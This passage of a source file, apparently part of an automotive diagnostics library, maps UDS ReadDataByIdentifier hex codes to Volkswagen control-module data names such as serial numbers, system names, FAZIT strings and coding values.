UDS_RDBI.dataIdentifiers[0x3726] = "High_beam_powermodule_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x3727] = "Coolant_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x3730] = "Electrically_adjustable_steering_column_System_Name" UDS_RDBI.dataIdentifiers[0x3731] = "Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name" UDS_RDBI.dataIdentifiers[0x3732] = "Rear_spoiler_adjustment_System_Name" UDS_RDBI.dataIdentifiers[0x3733] = "Roof_blind_2_System_Name" UDS_RDBI.dataIdentifiers[0x3734] = "Motor_for_wind_deflector_System_Name" UDS_RDBI.dataIdentifiers[0x3735] = "Voltage_stabilizer_System_Name" UDS_RDBI.dataIdentifiers[0x3736] = "Switch_module_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x3737] = "Switch_module_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x3738] = "Switch_module_for_rear_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x3739] = "Switch_module_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x373a] = "Switch_module_2_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x373b] = "Switch_module_2_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x373c] = "Switch_module_2_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x373d] = "Compact_disc_database_System_Name" UDS_RDBI.dataIdentifiers[0x3749] = "LED_headlamp_powermodule_2_left_System_Name" UDS_RDBI.dataIdentifiers[0x374a] = "LED_headlamp_powermodule_2_right_System_Name" UDS_RDBI.dataIdentifiers[0x374c] = "Multimedia_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x374e] = "Data_medium_2_System_Name" UDS_RDBI.dataIdentifiers[0x374f] = "Analog_clock_System_Name" UDS_RDBI.dataIdentifiers[0x3750] = "Relative_Air_Humidity_Interior_Sender_System_Name" UDS_RDBI.dataIdentifiers[0x3751] = "Sensor_controlled_power_rear_lid_System_Name" UDS_RDBI.dataIdentifiers[0x3752] = "Battery_monitoring_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x3753] = "Air_conditioning_compressor_System_Name" UDS_RDBI.dataIdentifiers[0x3754] = "Control_module_for_auxiliary_blower_motors_System_Name" UDS_RDBI.dataIdentifiers[0x3755] = "High_beam_powermodule_left_System_Name" UDS_RDBI.dataIdentifiers[0x3756] = "High_beam_powermodule_right_System_Name" UDS_RDBI.dataIdentifiers[0x3757] = "Coolant_heater_System_Name" UDS_RDBI.dataIdentifiers[0x37a0] = "Electrically_adjustable_steering_column_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a2] = "Rear_spoiler_adjustment_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a3] = "Roof_blind_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a4] = "Motor_for_wind_deflector_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a5] = "Voltage_stabilizer_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a6] = "Switch_module_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a7] = "Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a8] = "Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37a9] = "Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37aa] = "Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ab] = "Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ac] = "Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ad] = "Compact_disc_database_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37b9] = "LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37ba] = "LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37bc] = "Multimedia_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37be] = "Data_medium_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37bf] = "Analog_clock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c0] = "Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c1] = "Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c2] = "Battery_monitoring_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c3] = "Air_conditioning_compressor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c4] = "Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c5] = "High_beam_powermodule_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c6] = "High_beam_powermodule_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x37c7] = "Coolant_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x5867] = "In_use_monitor_performance_ratio_1" UDS_RDBI.dataIdentifiers[0x5868] = "In_use_monitor_performance_ratio_2" UDS_RDBI.dataIdentifiers[0x5869] = "In_use_monitor_performance_ratio_3" UDS_RDBI.dataIdentifiers[0x6001] = "Control_unit_for_wiper_motor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6002] = "Rain_light_recognition_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6003] = "Light_switch_Coding_Values" UDS_RDBI.dataIdentifiers[0x6004] = "Garage_door_opener_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6005] = "Garage_door_opener_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6006] = "Ignition_key_Coding_Values" UDS_RDBI.dataIdentifiers[0x6007] = "Left_front_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6008] = "Right_front_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6009] = "Left_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x600a] = "LED_headlamp_powermodule_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x600b] = "LED_headlamp_powermodule_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x600c] = "LED_headlamp_powermodule_2_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x600d] = "LED_headlamp_powermodule_2_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x600e] = "Operating_and_display_unit_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x600f] = "Operating_and_display_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6010] = "Right_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6011] = "Data_medium_Coding_Values" UDS_RDBI.dataIdentifiers[0x6012] = "Drivers_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6013] = "Front_passengers_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6014] = "Left_headlamp_power_output_stage_Coding_Values" UDS_RDBI.dataIdentifiers[0x6015] = "Right_headlamp_power_output_stage_Coding_Values" UDS_RDBI.dataIdentifiers[0x6016] = "Sensor_for_anti_theft_alarm_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6017] = "Rear_lid_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6018] = "Alarm_horn_Coding_Values" UDS_RDBI.dataIdentifiers[0x6019] = "Automatic_day_night_interior_mirror_Coding_Values" UDS_RDBI.dataIdentifiers[0x601a] = "Remote_control_auxiliary_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x601b] = "Fresh_air_blower_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x601c] = "Fresh_air_blower_back_Coding_Values" UDS_RDBI.dataIdentifiers[0x601d] = "Alternator_Coding_Values" UDS_RDBI.dataIdentifiers[0x601e] = "Interior_light_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x601f] = "Refrigerant_pressure_and_temperature_sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x6020] = "Sun_roof_Coding_Values" UDS_RDBI.dataIdentifiers[0x6021] = "Steering_column_lock_actuator_Coding_Values" UDS_RDBI.dataIdentifiers[0x6022] = "Anti_theft_tilt_system_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6023] = "Tire_pressure_monitor_antenna_Coding_Values" UDS_RDBI.dataIdentifiers[0x6024] = "Heated_windshield_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6025] = "Rear_light_left_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6026] = "Ceiling_light_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6027] = "Left_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6028] = "Right_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6029] = "Control_module_for_auxiliary_air_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x602a] = "Belt Pretensioner left_Coding_Values" UDS_RDBI.dataIdentifiers[0x602b] = "Belt Pretensioner right_Coding_Values" UDS_RDBI.dataIdentifiers[0x602c] = "Occupant Detection_Coding_Values" UDS_RDBI.dataIdentifiers[0x602d] = "Selector_lever_Coding_Values" UDS_RDBI.dataIdentifiers[0x602e] = "NOx_sensor_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x602f] = "NOx_sensor_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6030] = "Ioniser_Coding_Values" UDS_RDBI.dataIdentifiers[0x6031] = "Multi_function_steering_wheel_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6032] = "Left_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6033] = "Right_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6034] = "Left_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6035] = "Right_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6036] = "Display_unit_1_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6037] = "Battery_monitoring_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6038] = "Roof_blind_Coding_Values" UDS_RDBI.dataIdentifiers[0x6039] = "Sun_roof_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x603a] = "Steering_angle_sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x603b] = "Lane_change_assistant 2_Coding_Values" UDS_RDBI.dataIdentifiers[0x603c] = "Pitch_rate_sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x603d] = "ESP_sensor_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x603e] = "Electronic_ignition_lock_Coding_Values" UDS_RDBI.dataIdentifiers[0x603f] = "Air_quality_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6040] = "Display_unit_2_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6041] = "Telephone_handset_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6042] = "Chip_card_reader_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6043] = "Traffic_data_aerial_Coding_Values" UDS_RDBI.dataIdentifiers[0x6044] = "Hands_free_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6045] = "Telephone_handset_Coding_Values" UDS_RDBI.dataIdentifiers[0x6046] = "Display_unit_front_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6047] = "Multimedia_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6048] = "Digital_sound_system_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6049] = "Electrically_adjustable_steering_column_Coding_Values" UDS_RDBI.dataIdentifiers[0x604a] = "Interface_for_external_multimedia_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x604b] = "Relative_Air_Humidity_Interior_Sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x604c] = "Drivers_door_rear_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x604d] = "Passengers_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x604e] = "Sensor_controlled_power_rear_lid_Coding_Values" UDS_RDBI.dataIdentifiers[0x604f] = "Camera_for_night_vision_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6050] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values" UDS_RDBI.dataIdentifiers[0x6051] = "Rear_spoiler_adjustment_Coding_Values" UDS_RDBI.dataIdentifiers[0x6052] = "Roof_blind_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6053] = "Motor_for_wind_deflector_Coding_Values" UDS_RDBI.dataIdentifiers[0x6054] = "Voltage_stabilizer_Coding_Values" UDS_RDBI.dataIdentifiers[0x6055] = "Switch_module_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6056] = "Switch_module_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6057] = "Switch_module_for_rear_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x6058] = "Switch_module_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x6059] = "Switch_module_2_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x605a] = "Battery_charger_unit_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x605b] = "Battery_charger_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x605c] = "Battery_charger_unit_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x605d] = "Air_conditioning_compressor_Coding_Values" UDS_RDBI.dataIdentifiers[0x605e] = "Neck_heating_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x605f] = "Neck_heating_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6060] = "Switch_module_2_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6061] = "Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x6062] = "Compact_disc_database_Coding_Values" UDS_RDBI.dataIdentifiers[0x6063] = "Rear_climatronic_operating_and_display_unit_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x6064] = "Rear_climatronic_operating_and_display_unit_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6065] = "Door_handle_front_left_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6066] = "Door_handle_front_right_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6067] = "Door_handle_rear_left_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6068] = "Door_handle_rear_right_Kessy_Coding_Values" UDS_RDBI.dataIdentifiers[0x6069] = "Power_converter_DC_AC_Coding_Values" UDS_RDBI.dataIdentifiers[0x606a] = "Battery_monitoring_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x606b] = "Matrix_headlamp_powermodule_1_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x606c] = "Matrix_headlamp_powermodule_1_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x606d] = "High_beam_powermodule_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x606e] = "High_beam_powermodule_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x606f] = "Air_suspension_compressor_Coding_Values" UDS_RDBI.dataIdentifiers[0x6070] = "Rear_brake_actuator_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6071] = "Rear_brake_actuator_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6072] = "Analog_clock_Coding_Values" UDS_RDBI.dataIdentifiers[0x6073] = "Rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6079] = "Data_medium_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x607a] = "Operating_unit_center_console_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x607b] = "Operating_unit_center_console_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x607c] = "Operating_unit_center_console_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x607d] = "Operating_unit_center_console_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x607e] = "Interface_for_radiodisplay_Coding_Values" UDS_RDBI.dataIdentifiers[0x607f] = "Parkassist_entry_Coding_Values" UDS_RDBI.dataIdentifiers[0x6086] = "Belt_pretensioner_3rd_row_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x6087] = "Belt_pretensioner_3rd_row_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6088] = "Injection_valve_heater_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6089] = "Steering_column_switch_Coding_Values" UDS_RDBI.dataIdentifiers[0x608a] = "Brake_assistance_Coding_Values" UDS_RDBI.dataIdentifiers[0x608b] = "Trailer_articulation_angle_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x608c] = "Cup_holder_with_heater_and_cooling_element_Coding_Values" UDS_RDBI.dataIdentifiers[0x608d] = "Range_of_vision_sensing_Coding_Values" UDS_RDBI.dataIdentifiers[0x608e] = "Convenience_and_driver_assist_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x608f] = "Cradle_rear_climatronic_operating_and_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6090] = "Trailer_weight_nose_weight_detection_Coding_Values" UDS_RDBI.dataIdentifiers[0x6091] = "Sensor_carbon_dioxide_concentration_Coding_Values" UDS_RDBI.dataIdentifiers[0x6092] = "Sensor_fine_dust_concentration_Coding_Values" UDS_RDBI.dataIdentifiers[0x6093] = "Volume_control_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6094] = "Belt_buckle_presenter_2nd_row_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x6095] = "Belt_buckle_presenter_2nd_row_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6096] = "Operating_and_display_unit_6_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x6097] = "Active_accelerator_pedal_Coding_Values" UDS_RDBI.dataIdentifiers[0x6098] = "Multimedia_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6099] = "Display_unit_3_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x609a] = "Display_unit_4_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x609b] = "Display_unit_5_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x609c] = "Control_module_for_auxiliary_blower_motors_Coding_Values" UDS_RDBI.dataIdentifiers[0x609d] = "Operating_and_display_unit_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x609e] = "Operating_and_display_unit_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x609f] = "Operating_and_display_unit_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a0] = "Side Sensor Driver Front_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a1] = "Side Sensor Passenger Front_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a2] = "Side Sensor Driver Rear_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a3] = "Side Sensor Passenger Rear_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a4] = "Front Sensor Driver_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a5] = "Front Sensor Passenger_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a6] = "Pedestrian Protection Driver_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a7] = "Pedestrian Protection Passenger_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a8] = "Rear Sensor Center_Coding_Values" UDS_RDBI.dataIdentifiers[0x60a9] = "Pedestrian Protection Center_Coding_Values" UDS_RDBI.dataIdentifiers[0x60aa] = "Pedestrian Protection Contact_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ab] = "Pedestrian_protection_driver_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ac] = "Pedestrian_protection_passenger_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ad] = "Central_sensor_XY_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ae] = "Refrigerant_pressure_and_temperature_sender_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60af] = "Refrigerant_pressure_and_temperature_sender_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b0] = "Switch_for_rear_multicontour_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b1] = "Valve_block_1_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b2] = "Valve_block_2_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b3] = "Valve_block_3_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b4] = "Switch_for_rear_multicontour_seat_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b5] = "Valve_block_1_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b6] = "Valve_block_2_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b7] = "Valve_block_3_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b8] = "Switch_for_front_multicontour_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60b9] = "Valve_block_1_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ba] = "Valve_block_2_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bb] = "Valve_block_3_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bc] = "Switch_for_front_multicontour_seat_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bd] = "Valve_block_1_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60be] = "Valve_block_2_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60bf] = "Valve_block_3_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c0] = "Coolant_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c1] = "Seat_backrest_fan_1_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c2] = "Seat_backrest_fan_2_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c3] = "Seat_cushion_fan_1_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c4] = "Seat_cushion_fan_2_front_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c5] = "Seat_backrest_fan_1_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c6] = "Seat_backrest_fan_2_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c7] = "Seat_cushion_fan_1_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c8] = "Seat_cushion_fan_2_front_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60c9] = "Operating_and_display_unit_1_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ca] = "Operating_and_display_unit_2_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cb] = "Operating_and_display_unit_3_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cc] = "Operating_and_display_unit_4_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cd] = "Operating_and_display_unit_5_for_air_conditioning_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ce] = "Pedestrian_protection_left_hand_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60cf] = "Pedestrian_protection_right_hand_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d0] = "Battery_junction_box_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d1] = "Cell_module_controller_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d2] = "Cell_module_controller_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d3] = "Cell_module_controller_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d4] = "Cell_module_controller_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d5] = "Cell_module_controller_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d6] = "Cell_module_controller_6_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d7] = "Cell_module_controller_7_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d8] = "Cell_module_controller_8_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d9] = "Cell_module_controller_9_Coding_Values" UDS_RDBI.dataIdentifiers[0x60da] = "Cell_module_controller_10_Coding_Values" UDS_RDBI.dataIdentifiers[0x60db] = "Cell_module_controller_11_Coding_Values" UDS_RDBI.dataIdentifiers[0x60dc] = "Cell_module_controller_12_Coding_Values" UDS_RDBI.dataIdentifiers[0x60dd] = "Seat_backrest_fan_1_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60de] = "Seat_backrest_fan_2_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60df] = "Seat_cushion_fan_1_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e0] = "Seat_cushion_fan_2_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e1] = "Seat_backrest_fan_1_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e2] = "Seat_backrest_fan_2_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e3] = "Seat_cushion_fan_1_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e4] = "Seat_cushion_fan_2_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e5] = "Auxiliary_blower_motor_control_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e6] = "Auxiliary_blower_motor_control_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e7] = "Infrared_sender_for_front_observation_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e8] = "Starter_generator_control_module_sub_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e9] = "Media_player_1_sub_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ea] = "Media_player_2_sub_Coding_Values" UDS_RDBI.dataIdentifiers[0x60eb] = "Dedicated_short_range_communication_aerial_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ec] = "Refrigerant_pressure_and_temperature_sender_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ed] = "Refrigerant_pressure_and_temperature_sender_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ee] = "Refrigerant_pressure_and_temperature_sender_6_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ef] = "Air_coolant_actuator_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f0] = "Air_coolant_actuator_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f1] = "Cell_module_controller_13_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f2] = "Cell_module_controller_14_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f3] = "Cell_module_controller_15_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f5] = "Seat_heating_rear_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f6] = "LED_warning_indicator_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f7] = "Automatic_transmission_fluid_pump_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f8] = "Manual_transmission_fluid_pump_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f9] = "Convenience_and_driver_assist_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fb] = "Air_coolant_actuator_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fc] = "Valve_block_4_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fd] = "Valve_block_4_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fe] = "Valve_block_4_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ff] = "Valve_block_4_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6101] = "Rear_climatronic_operating_and_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6102] = "Refrigerant_expansion_valve_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6103] = "Refrigerant_expansion_valve_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6104] = "Refrigerant_expansion_valve_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6105] = "Refrigerant_shut_off_valve_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6106] = "Refrigerant_shut_off_valve_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6107] = "Refrigerant_shut_off_valve_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6108] = "Refrigerant_shut_off_valve_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x6109] = "Refrigerant_shut_off_valve_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x610a] = "Sunlight_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x610b] = "Near_field_communication_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x610c] = "Clutch_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x610d] = "Electrical_charger_Coding_Values" UDS_RDBI.dataIdentifiers[0x610e] = "Rear_light_left_2_Coding_Values" 